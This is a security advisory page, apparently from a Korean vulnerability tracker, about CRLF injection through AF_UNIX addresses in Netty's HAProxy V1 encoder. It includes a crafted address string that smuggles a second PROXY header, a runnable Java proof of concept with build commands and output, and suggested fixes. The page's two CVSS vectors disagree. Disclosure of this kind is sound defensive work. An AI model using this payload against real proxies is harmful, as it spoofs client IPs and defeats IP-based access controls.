Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N상세 설명
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty
- Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-haproxy) |
| Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences |
| Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
- Affected Components
io.netty.handler.codec.haproxy.HAProxyMessageEncoder—encodeV1()method (lines 63-77): writessourceAddressanddestinationAddressdirectly to output without CRLF validationio.netty.handler.codec.haproxy.HAProxyMessage— constructorcheckAddress()validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)
- Vulnerability Description
Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
1// HAProxyMessageEncoder.java:63-77 2private static void encodeV1(HAProxyMessage msg, ByteBuf out) { 3 out.writeBytes(TEXT_PREFIX); // "PROXY " 4 out.writeByte((byte) ' '); 5 out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM" 6 out.writeByte((byte) ' '); 7 out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK 8 out.writeByte((byte) ' '); 9 out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK10 out.writeByte((byte) ' ');11 // ...12 out.writeByte((byte) '\r');13 out.writeByte((byte) '\n');14}Root Cause — Insufficient Address Validation
1// HAProxyMessage.java:428-442 2private static void checkAddress(String address, AddressFamily addrFamily) { 3 switch (addrFamily) { 4 case AF_UNIX: 5 ObjectUtil.checkNotNull(address, "address"); 6 if (address.getBytes(CharsetUtil.US_ASCII).length > 108) { 7 throw new IllegalArgumentException("invalid AF_UNIX address: " + address); 8 } 9 return; // ONLY checks length <= 108, NO CRLF validation!10 case AF_IPv4:11 if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF12 case AF_IPv6:13 if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF14 }15}IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.
- Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses Netty's
HAProxyMessageEncoderto construct HAProxy V1 protocol headers - AF_UNIX (
UNIX_STREAMorUNIX_DGRAM) addresses contain user-controlled input - The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases:
- PROXY protocol relays that construct AF_UNIX messages from upstream data
- Load balancer integrations where socket paths come from configuration or external sources
- Multi-tenant proxies that dynamically construct PROXY headers
- Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
1String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; 2 3HAProxyMessage msg = new HAProxyMessage( 4 HAProxyProtocolVersion.V1, 5 HAProxyCommand.PROXY, 6 HAProxyProxiedProtocol.UNIX_STREAM, 7 maliciousAddr, // CRLF-injected source address 8 "/var/run/dest.sock", 9 0, 0);Wire format sent to backend:
1PROXY UNIX_STREAM /var/run/app.sock 2PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0The backend receives two PROXY lines. Depending on implementation:
- HAProxy: may use the first line and ignore the second
- Other implementations: may use the second line, treating the connection as TCP4 from
10.0.0.1 - This enables client IP spoofing — the backend believes the client is
10.0.0.1when it's not
- Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
1import io.netty.buffer.ByteBuf; 2import io.netty.channel.embedded.EmbeddedChannel; 3import io.netty.handler.codec.haproxy.*; 4import java.nio.charset.StandardCharsets; 5 6public class HAProxyUnixCRLFPoC { 7 public static void main(String[] args) { 8 System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n"); 9 10 String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";11 String destAddr = "/var/run/dest.sock";12 13 HAProxyMessage msg = new HAProxyMessage(14 HAProxyProtocolVersion.V1,15 HAProxyCommand.PROXY,16 HAProxyProxiedProtocol.UNIX_STREAM,17 maliciousAddr, destAddr, 0, 0);18 19 EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);20 ch.writeOutbound(msg);21 22 ByteBuf out = ch.readOutbound();23 String encoded = out.toString(StandardCharsets.UTF_8);24 out.release();25 ch.finishAndReleaseAll();26 27 System.out.println("Wire format:");28 for (String line : encoded.split("\n", -1)) {29 System.out.println(" " + line.replace("\r", "\\r"));30 }31 32 int proxyCount = 0;33 for (String line : encoded.split("\r\n")) {34 if (line.startsWith("PROXY")) proxyCount++;35 }36 System.out.println("PROXY lines: " + proxyCount);37 System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));38 }39}How to Compile and Run
1JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ 2 | grep -v sources | grep -v javadoc | tr '\n' ':') 3javac -cp "$JARS" HAProxyUnixCRLFPoC.java 4java -cp "$JARS:." HAProxyUnixCRLFPoCPoC Execution Output (Verified on Netty 4.2.12.Final)
1=== Netty HAProxy AF_UNIX CRLF Injection PoC === 2 3[TEST 1] AF_UNIX Source Address CRLF Injection 4------------------------------------------------ 5 Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" 6 Wire format: 7 PROXY UNIX_STREAM /var/run/app.sock\r 8 PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r 9 10 PROXY lines found: 211 VULNERABLE: YES - Second PROXY line injected!
- Remediation Recommendations
Option 1: Validate AF_UNIX Addresses for CRLF
1// HAProxyMessage.java checkAddress() - add for AF_UNIX: 2case AF_UNIX: 3 ObjectUtil.checkNotNull(address, "address"); 4 byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII); 5 if (addrBytes.length > 108) { 6 throw new IllegalArgumentException("invalid AF_UNIX address: too long"); 7 } 8 for (byte b : addrBytes) { 9 if (b == '\r' || b == '\n') {10 throw new IllegalArgumentException(11 "AF_UNIX address contains prohibited CRLF character");12 }13 }14 return;Option 2: Validate in Encoder
1// HAProxyMessageEncoder.java encodeV1() - validate before writing: 2private static void validateV1Address(String address) { 3 for (int i = 0; i < address.length(); i++) { 4 char c = address.charAt(i); 5 if (c == '\r' || c == '\n' || c == ' ') { 6 throw new HAProxyProtocolException( 7 "V1 address contains prohibited character at index " + i); 8 } 9 }10}
- References
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.